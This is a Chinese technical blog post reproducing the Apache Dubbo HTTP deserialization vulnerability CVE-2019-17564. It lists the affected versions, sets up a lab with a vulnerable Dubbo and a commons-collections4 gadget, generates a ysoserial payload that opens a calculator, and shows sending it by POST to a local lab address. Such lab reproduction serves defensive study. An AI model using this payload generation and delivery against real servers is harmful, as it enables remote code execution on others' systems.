Dubbo反序列化漏洞复现分析

本文涉及的产品
服务治理 MSE Sentinel/OpenSergo,Agent数量 不受限
简介: Dubbo反序列化漏洞复现分析

1.Dubbo框架简介


Dubbo是⼀个⾼性能服务框架,致⼒于提供⾼性能和透明化的RPC远程服务调⽤⽅案,以及SOA服务治理⽅案,使得应⽤可通过⾼性能RPC实现服务的输出和输⼊功能,和Spring框架可以⽆缝集成。作为⼀个分布式服务框架,以及SOA治理⽅案,Dubbo其功能主要包括:1.⾼性能NIO通讯及多协议集2.成服务动态寻址与路由3.软负载均衡与容错4.依赖分析与服务降级具体看这篇⽂章:https://www.jianshu.com/p/0daf78e14dcf

 

2.CVE-2019-17564


1.漏洞简介


Apache Dubbo⽀持多种协议,推荐官⽅使⽤Dubbo协议。Apache Dubbo HTTP协议中的⼀个反序

列化漏洞(CVE-2019-17564),漏洞该主要原因的在于当Apache Dubbo启⽤HTTP协议之后,Apache Dubbo对HTTP数据处理不当:对数据编码、序列化、反序列化,利⽤Spring HTTP Invoker框架处理,未经任何检查直接反序列化数据,当项⽬包中存在可⽤的gadgets时即可导致远程代码执⾏。


2.影响范围


2.7.0 <= Apache Dubbo <= 2.7.4.1

2.6.0 <= Apache Dubbo <= 2.6.7

Apache Dubbo = 2.5.x


3.环境搭建


dubbo-demo:https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http ⽤idea打开后,需要修改pom.xml⽂件中的<dubbo.version>,将版本改为存在漏洞的2. 7. 3

064f93600c2f10f47bcbb95ad4f57651_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

  我们再往⾥⾯添加本地触发gadgets,这⾥导⼊commons-collections4-4.0恶意类依赖。 

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId> <version>4.0</version>
</dependency> 

由于dubbo启动还依赖zookeeper,因此我们还需要安装zookeeperhttps://apache.website-solution.net/zookeeper/zookeeper-3.6.2/apache-zookeeper-3.6.2-bin.tar.gz运⾏zookeeper之前,我们还需要修改⼀些配置⽂件:将zookeeper的conf⽬录下的zoo_sample.cfg⽂件改成zoo.cfg并修改其中的两个参数

e70968ee16319deb605c8f461b17ca0c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png 

然后cdzookeeperbin⽬录下./zkServer.sh start 启动zookeeper 随后启动dubbo项⽬中的HttpProvider出现下图红框中的提⽰,则证明环境搭建成功。

ec702d42aa37c23d3f1186a5541768e5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4.漏洞复现

我们⾸先⽤yso 来⽣成⼀个序列化的payload:


java-jarysoserial-0.0.6-SNAPSHOT-all.jarCommonsCollections4"deepin-calculator">/tmp/payload.ser

而后⽤postman


http://192.168.199.246:8090/org.apache.dubbo.samples.http.api.DemoService

POST我们⽣成的


payload.ser

相关实践学习
基于MSE实现微服务的全链路灰度
通过本场景的实验操作,您将了解并实现在线业务的微服务全链路灰度能力。
相关文章
|
2月前
|
Dubbo Cloud Native 网络协议
【Dubbo3技术专题】「服务架构体系」第一章之Dubbo3新特性要点之RPC协议分析介绍
【Dubbo3技术专题】「服务架构体系」第一章之Dubbo3新特性要点之RPC协议分析介绍
38 1
|
6月前
|
负载均衡 Dubbo 应用服务中间件
微服务技术系列教程(31) - Dubbo-原理及负载均衡分析
微服务技术系列教程(31) - Dubbo-原理及负载均衡分析
56 0
|
4月前
|
负载均衡 Dubbo 算法
深入理解Dubbo-2.Dubbo功能之高级特性分析
深入理解Dubbo-2.Dubbo功能之高级特性分析
56 0
|
2月前
|
Java fastjson 数据安全/隐私保护
【Dubbo3技术专题】「云原生微服务开发实战」 一同探索和分析研究RPC服务的底层原理和实现
【Dubbo3技术专题】「云原生微服务开发实战」 一同探索和分析研究RPC服务的底层原理和实现
40 0
|
5月前
|
Dubbo Java 应用服务中间件
Dubbo的原理分析
Dubbo的原理分析
39 0
|
6月前
|
缓存 Dubbo Java
Dubbo的优雅下线原理分析
在线上环境,用到更多的,是kill pid指令,这个指令,等同于kill -15 pid指令,因此,当你在网上看到一些介绍kill -15 pid指令时,不用纠结好像没用到过,其实,就是你用到最多的kill pid指令。使用这个指令时,系统会对pid进程发送一个SIGTERM信号,就像给pid打了一个电话,告诉他,你的房子就要到期了,麻烦快点清理好东西搬走。这时,你仍有充裕的时间,把自己的东西打包好,好好清理下房间,没问题了,再搬出去。
31 0
|
8月前
|
存储 Dubbo Java
dubbo 源码 v2.7 分析:通信过程及序列化协议
前面我们介绍了dubbo的核心机制,今天将开始分析远程调用流程。毕竟,作为一个rpc框架,远程调用是理论的核心内容。通过对dubbo相关实现的探究,深入了解rpc原理及可能的问题。
132 0
|
8月前
|
负载均衡 Dubbo Java
dubbo源码v2.7分析:结构、container入口及线程模型
Apache Dubbo 是一款高性能、轻量级的开源 Java 服务框架,提供了六大核心能力:面向接口代理的高性能RPC调用,智能容错和负载均衡,服务自动注册和发现,高度可扩展能力,运行期流量调度,可视化的服务治理与运维。
66 0
|
9月前
|
负载均衡 监控 Dubbo
Dubbo底层原理分析和分布式实际应用
Dubbo底层原理分析和分布式实际应用
|
11月前
|
存储 Dubbo 前端开发
Beanutils造成dubbo反序列化失败?
今天下午,当我经过一个小时的奋”键“疾”码“,准备好好的审查一下(摸鱼)自己写的代码,经过一段时间审查(摸的差不多了,该下班了),得出一个结论我写的代码很优雅、精简。所以大手一挥提交代码,并在API管理系统上将xxx接口点了个完成。准备收拾东西走人了准点下班。然而事与愿违,没过多久前端大哥就@我了,说xxx接口有问题,麻烦处理一下。内心第一反应(你丫的参数传错了吧)卑微的我只能默默的回个,好的、麻烦把参数给我一下,我这边检查一下[微笑脸]。